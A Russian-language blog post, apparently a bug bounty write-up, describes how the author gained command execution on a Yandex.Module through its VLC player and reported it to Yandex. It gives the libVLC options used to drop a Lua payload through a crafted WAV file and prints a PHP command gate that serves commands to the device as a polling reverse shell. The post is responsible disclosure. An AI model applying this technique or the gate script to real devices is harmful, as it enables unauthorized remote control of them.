Доброго времени суток эврибадям и эвриванам.
Наконец то я созрел с мыслями для написания новой статейки.
История о которой я хочу поведать в этот раз, заняла достаточно много времени и происходила с января по август 2К24 года, так что в этой статье будет много букав, скриншотов и фоточек, немного лирики в перемешку с теорией, щепотка кода на разных языках программирования и всего одно видео.
Погнали...
Некоторое время назад я уже упоминал про мой опыт участия в BugBounty от Яндекса, кто не в теме, может ознакомится. В тот раз объектом исследования была Яндекс Станция с Алисой.
В этот раз я решил познакомится поближе с девайсом под названием Яндекс.Модуль.
Специально для этих тэстов я приобрёл б/у шный модуль с авито.
Потыкав элементы навигации и посмотрев как отображается наш канал на ютубчике, я решил пощупать всеми нами горячо любимый VLC плеер.
Моё внимание почему то сразу привлёк файловый менеджер VLC
по дефолту в нём было видно только Хранилище внутренней памяти.
Но немного осмотревшись я нашёл интересную опцию, которая позволяла добавить другие каталоги для отображения.
Немного помедитировав, какие же каталоги я бы хотел увидеть в своей медиатеке ;) я решил добавить bin, system, vendor, proc, etc
И был приятно удивлён когда после добавления эти каталоги стали доступны для просмотра из интерфейса VLC в разделе "Обзор" вместе с их содержимым.
Перфекто !
я лихорадочно начал сёрфить другие каталоги своей новой "медиатеки" это в свою очередь позволяло мне получить более полную информацию о том, с каким набором инструментов я имею дело.
<L> ВНИМАНИЕ ЛИРИКА </L>
Из соображений защиты результатов деятельности приверженцев капиталистическо-проприетарной философии, любой коммерческий продукт старается максимально скрыть информацию о используемых ими технических решениях, софте и его версиях (см.термин Коммерческая тайна) чтобы:
- Затруднить анализ своих свистоперделок
- Абстрагировать потребителя своих свистоперделок от лишней технической и системной информации, логов, каталогов и файлов.
- Сконцентрировать всё внимание потребителя только на своём продукте, красивых обоях, платных подписках и сервисах.
Ведь потянув за эти ниточки можно распутать целый клубок интересной инфы, нагуглить публичные эксплойты или выяснить что исследуемый коммерческий продукт сделан вовсе не из софта собственного производства, а из множества бесплатных, свободных и доступных всем решений.
=========конец лирики=========
И чО ?
- Скажете вы...
Файлы - файлами, Каталоги - Каталогами но VLC ведь медиакомбайн, а не текстовый редактор. И посмотреть содержимое конфигов у тебя не получится ...
ИЛИ...
Ок.
на предыдущем шаге VLC нам помог определить содержимое каталогов, названия файлов и их размер. На этом этапе с помощью того же VLC попробуем прочитать содержимое конфигурационных и системных файлов (например из каталогов proc и vendor) а так же выполнить некоторые команды нашей операционной системы YaOS .
из анализа логов VLC я заметил что конфигурируется он с опциями "--enable-lua"
взял на вооружение адрес с которого VLC подгружает пользовательские .lua скрипты.
"/data/user/0/org.videolan.vlc/app_vlc/.share/lua/meta/art/"
Далее я использовал опцию спецпараметров libVLC для внедрения своих .lua скриптов по адресу выше.
"--aout=afile
--no-audiofile-wav
--audiofile-file=/data/user/0/org.videolan.vlc/app_vlc/.share/lua/meta/art/poc.lua"
Следующим шагом я сформировал отравленный .wav файл с RIFF заголовком и .lua содержимым , который при проигрывании плеером благодаря спецпараметрам libVLC запишет своё .lua содержимое в нужную нам директорию.
Далее перезапустил VLC чтобы настройки с обновлённым конфигом libVLC вступили в силу.
Залил этот poison .wav на заранее поднятый web-сервер в своей локальной сети http://192.168.2.112/poc.wav
И скормил всё это VLC плееру на модуле, указав URL сетевого потока.
Пожмякал Play (но ничего не услышал и не увидел так как плеер воспроизвёл содержимое и записал файл в указаную в libVLC директорию)
Теоретически VLC подтягивает наш "lua payload" если перейти в "обзор->внутренняя память", а результаты выполнения можно будет смотреть в отладочных сообщениях.
Жму "начать протоколирование"
и
Жду формирования лога.
И в самом низу, среди прочих сообщений, вижу попытку запуска своего .lua сценария и результат его выполнения.
Хм... может быть показалось...)
пробую другую команду
Действительно работает ;)
Медитирую ...
Затем. Одной рукой, из говна, палок и php, собираю что то похожее на реверс шелл, второй отправляю баг репорт в Яндекс.
.lua Код демона на модуле:
.php Код сборщика логов (gate.php):
<?php
$cmd = 'file /bin/awk'; //команда на выполнение модулю
$res = $_GET['res']; //если от модуля пришёл GET запрос с результатом выполнения команды
$fp = fopen("explog.txt",w);
fwrite($fp,urldecode($res));
fclose($fp);
/*
открываем explog.txt и пишем в него результат выполнения
*/
if($res=="cmd"){echo $cmd;}else{echo "Everything is ok !";}
?>
Видео демонстрация работы всей этой дичи ;)
принцип работы шелла следующий...
.lua демон интегрированный в VLC, периодически опрашивает мой сервер (gate.php) на наличие новых команд, забирает их, выполняет на модуле и отправляет ответ обратно.
Привилегии достаточно ограничены, но позволяют читать, создавать файлы, сетевые соединения и выполнять некоторые системные команды.
Багрепорт был отправлен и зарегистрирован 29 января
Далее последовало стандартное трёхмесячное ожидание, и не менее интересные качели со службой информационной безопасности. Через 3 месяца, я отправил 2 письма с просьбой поинтересоваться статусом отчёта, но мне увы никто не ответил.
Я приуныл конечно, подумав что в наше не спокойное время "импортазамещения зарубежных активов", когда "Макдональдс" вдруг стал "Вкусно и Точка" а "KFC" переименовался в "Ростикс" возможно и у Яндекса, начались эти дни, сменилось руководство или подразделение обрабатывающее багрепорты вовсе расформировали, но 27 мая получаю такой ответ:
Вот это поворот, подумал я ...
ну ладно хоть мои догадки по расформированию не оправдались )
и ответил:
пользуясь случаем прикрепил фотку промокарты которая даёт +13337 рублей к любому принятому отчёту.
в этот же день получаю ответ:
Осталось загадкой
Как же мне удалось проэксплуатировать уязвимость пропатченую более года назад, да ещё и видео заснять.
Но так как эта история со счастливым концом ;)
13 июня отчёт обновляет статус "Обработан"
2 июля получаю письмо:
23 июля встречаю курьера с Мерчем
8 августа получаю смс от банка
вот такие пироги ;)
Если вам нравится материал публикуемый на данном канале, вы можете поддержать меня чашкой кофе☕
Отдельно буду признателен и благодарен вам за лайк, репост или подписку ❤️
Спасибо что дочитали до конца !
Надеюсь осенью и зимой будет время и возможности публиковать что то интересное.